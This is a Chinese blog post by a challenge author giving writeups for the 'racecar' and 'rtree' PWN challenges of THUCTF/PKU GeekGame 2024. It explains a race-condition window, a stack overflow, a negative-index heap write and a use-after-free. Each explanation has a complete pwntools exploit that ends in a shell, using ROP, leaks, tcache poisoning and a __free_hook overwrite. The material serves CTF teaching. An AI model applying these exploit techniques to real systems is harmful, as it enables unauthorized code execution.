9 min to read
THUCTF&PKUGeekGame2024 Writeup - PWN
出题人 pwn 方向 writeup

先引流一个官方 writeup 仓库 ~
校赛出了 racecar 和 rtree 两个题,是心心念念的 toctou 和 libc 2.31 uaf ~ 以及第一次认真写了题面hhh ~ 编故事还是挺好玩的(
本博客题解部分和仓库里一样,只是多了一些碎碎念hhh(逃)
racecar
一个入门题,一开始在想要不要溢出 size 和 sleep_time 两处,想想还是只 time 溢出就行,但是要把 time 改大hhh ~
非常简单,瞎打打应该就可以出
但是有一点遗憾hhh ~ 之前和轩哥讨论出题的时候轩哥说交互方式可以改进一下,就两个线程分别监听两个端口,然后分别 nc 去连接,就不会出现现在这个有点乱的输出了,而且也更加 realworld 一点 ~ 但是因为当时时间不够就没加,ggg
还有大感谢轩哥提供的溢出 sleep_time 控时间窗口的灵感hhh ~
exp
from time import sleep
from pwn import *
p = process("../src/race")
context(os="linux", arch="amd64", log_level="debug")
sleep(0.2)
p.sendline("1")
p.recvuntil("content to read to buffer (max 0x100 bytes): \n")
payload = b"a" * 0x30 + b"\x40"
payload = payload.ljust(0x100, b"\x00")
payload += p32(1000)
p.send(payload)
p.sendline(str(0x31))
p.sendline(str(0x31))
p.interactive()
rtree
level1
还是入门题
思路
-
本题代码逻辑是在栈上实现了一个节点数组,对于数组中的每一项,都是一个
Node
结构体和它的数据,此外用一个全局变量数组来维护每一项地址范围的上界 -
漏洞在于,在读入数据时,
read
函数第三个参数应该是输入的data
的长度,但是这里写成了size + sizeof(Node)
的形式,所以可以溢出 24 字节 -
我们直接覆盖返回地址为
backdoor
函数的地址,但是这样做会出现 segfault,有师傅也在群里和 feedback 中反映过这个问题,这是因为在 ubuntu 22.04 (即是本题采用的系统版本)之后,movaps 要求栈 8 字节对齐,system
函数中有movaps
指令,所以说在劫持到backdoor
函数中,有可能在movaps
指令处崩掉,所以我们需要在 ROPchain 中加入一个ret
指令来升栈,从而解决这个问题
exp
from pwn import *
p = process("./rtree")
context(os="linux", arch="amd64", log_level="debug")
def add(key, size, data):
p.sendlineafter(">> \n", "1")
p.sendlineafter("key:", str(key))
p.sendlineafter("data", str(size))
p.sendafter("data:", data)
backdoor = 0x40122C
ret = 0x4015ED
payload = b"a" * (0x200 - 0x10) + p64(ret) + p64(backdoor)
add(1, 0x200 - 24, payload)
# gdb.attach(p)
# pause()
p.sendlineafter(">> \n", "4")
p.interactive()
level2
也是入门题
思路
-
本题实现了一个链表的数据结构,每一项由一个 0x28 大小的保存节点信息的堆块和一个保存数据的堆块组成
-
漏洞在于
edit
函数中,没有检查 siz 为负数的情况,所以可以往前写该保存节点信息的堆块 -
而在节点信息中,有一项是
edit
,是函数指针类型,被初始化成了edit
函数,如果对于该块还没有调用过edit
功能,则会通过该函数指针进行调用,所以我们可以通过修改节点信息中的函数指针为backdoor
函数的地址,从而 get shell -
注意说这里不会出现
movaps
对齐的问题,但是如果在相同情况下出现了的话,可以通过覆盖函数指针为 0x40128f,即是少掉backdoor
函数一开始的push rbp
指令,从而解决 -
本题虽然结构体在堆上,但是只用大概知道堆块的结构和最最基础的分配方式就可以做,所以并不是堆题(
exp
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
p = process("./rtree")
def add(key, size, data):
p.sendlineafter(">> \n", "1")
p.sendlineafter("key:\n", str(key))
p.sendlineafter("of the data:\n", str(size))
p.sendafter("enter the data:\n", data)
def edit(key, idx, data):
p.sendlineafter(">> \n", "3")
p.sendlineafter("want to edit:\n", str(key))
p.sendlineafter("the index of the data you want to edit:\n", str(idx))
p.sendafter("data:\n", data)
add(1, 0x10, "/bin/sh\x00" + "a" * 8)
add(32, 0x100, "/bin/sh\x00" + "a" * 8)
edit(32, -0x68, p64(0x4010E0))
p.sendlineafter(">> \n", "3")
p.sendlineafter("please enter the key of the node you want to edit:\n", str(1))
p.interactive()
level3
tcache 一把梭,不难
但是第二阶段放提示的时候有点后悔没提示洞在哪里www ~ 应该提示这个的
思路
-
本题的附件下发了 libc-2.31.so,ld-2.31.so,可以用 patchelf 来更改二进制文件的运行时库,并用
ldd
指令检查是否 patch 成功 -
本题是个堆题,实现了对一个类二叉树的增删改查操作,但是和常规二叉树不同的地方是每个节点多了一个
same_vals
指针,指向 key 相同的节点,而在插入时,如果遇到树中有节点和插入节点 key 相同的话,则会把插入节点放到相同 key 节点same_vals
链表的尾部 -
漏洞在于删除节点时,如果该节点的
same_vals
不为空,则不会将被删节点父节点的子节点指针置空,从而造成悬垂指针现象,可以 UAF(use after free) -
后续的利用可以先泄露 unsorted bin 块中的 libc 地址和堆地址,再打 tcache poisoning,效果是拿到任意地址写,有一个需要注意的地方是被 free 掉的堆块的前若干个字节会被写,所以对应的
key
的值输入也需要相应的改变 -
然后覆盖
free_hook
为system
函数的地址,再释放一个含有/bin/sh\x00
字符串的堆块,就可以 get shell 了
exp
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
# p=process('./rtree')
p = remote("localhost", 10000)
libc = ELF("./libc-2.31.so")
def insert(key, siz, data):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("key\n")
p.sendline("%d" % key)
p.recvuntil("size of the data\n")
p.sendline("%d" % siz)
p.recvuntil("enter the data\n")
p.send(data)
def show(key):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("to show\n")
p.sendline("%d" % key)
def remove(key):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("to remove\n")
p.sendline("%d" % key)
def edit(key, data):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("its data\n")
p.sendline("%d" % key)
p.recvuntil("enter the new data\n")
p.send(data)
insert(2, 0x10, "A" * 0x10)
insert(4, 0x30, "rrr")
insert(3, 0x30, "rrr")
insert(5, 0x30, "rrr")
insert(6, 0x450, "rrr")
insert(1, 0x450, "B" * 0x4)
insert(1, 0x10, "C" * 0x10)
remove(6)
remove(3)
remove(5)
remove(4)
remove(1)
# gdb.attach(p)
show(0)
p.recvuntil("is: \n")
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
p.recv(2)
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(heap_leak))
print(hex(libc_leak))
# gdb.attach(p)
# 0x55e9fea3d4b0 0x55e9fea3d000 0x7f3786b45be0 0x7f3786959000
libc_base = libc_leak - 0xB45BE0 + 0x959000
heap_base = heap_leak - 0x4B0
# 再来打一个 tcache poisoning
print(hex(libc_base))
print(hex(heap_base))
insert(9, 0x80, "rrr")
insert(9, 0x100, "ttt")
insert(6, 0x30, "rrr")
insert(3, 0x30, "rrr")
insert(5, 0x30, "rrr")
insert(7, 0x30, "rrr")
insert(4, 0x80, "rrr")
remove(4)
remove(5)
remove(3)
remove(7)
remove(6)
remove(9)
# gdb.attach(p)
# 此时key 是 heap_base+0x400->int
edit((heap_base + 0x3F0) & 0xFFFFFFFF, p64(libc_base + libc.symbols["__free_hook"]))
insert(4, 0x80, "/bin/sh\x00")
insert(5, 0x80, p64(libc_base + libc.symbols["system"]))
remove(4)
p.interactive()
saferustplus(todo)
pkucc rhgg 的题还是有点难,,想打 IO_FILE + malloc_assert 触发,写完 exp 调试发现这个 libc 版本里面 malloc_assert 不会调用 fflush 函数,原地倒闭,,
最近嗑盐,学业比较忙,有空把这个坑填上hhh ~ (rhgg tql!)
以及那个覆盖栈上 is_admin 如果不看 writeup 确实有点想不到,看来还得多练 ()
官方 writeup
题目环境配置
此外,终于学会配 pwn 题的环境啦感动!看轮子
但是发现 geekgame 的平台不需要配 xinetd 感动()
然后还有在 docker 运行二进制文件的时候出现 permission denied 的情况,但是在 dockerfile 中 chmod
给了二进制文件执行权限,可能是因为 libc 或者 linker 权限不对,加上 rwx 权限就好了
Comments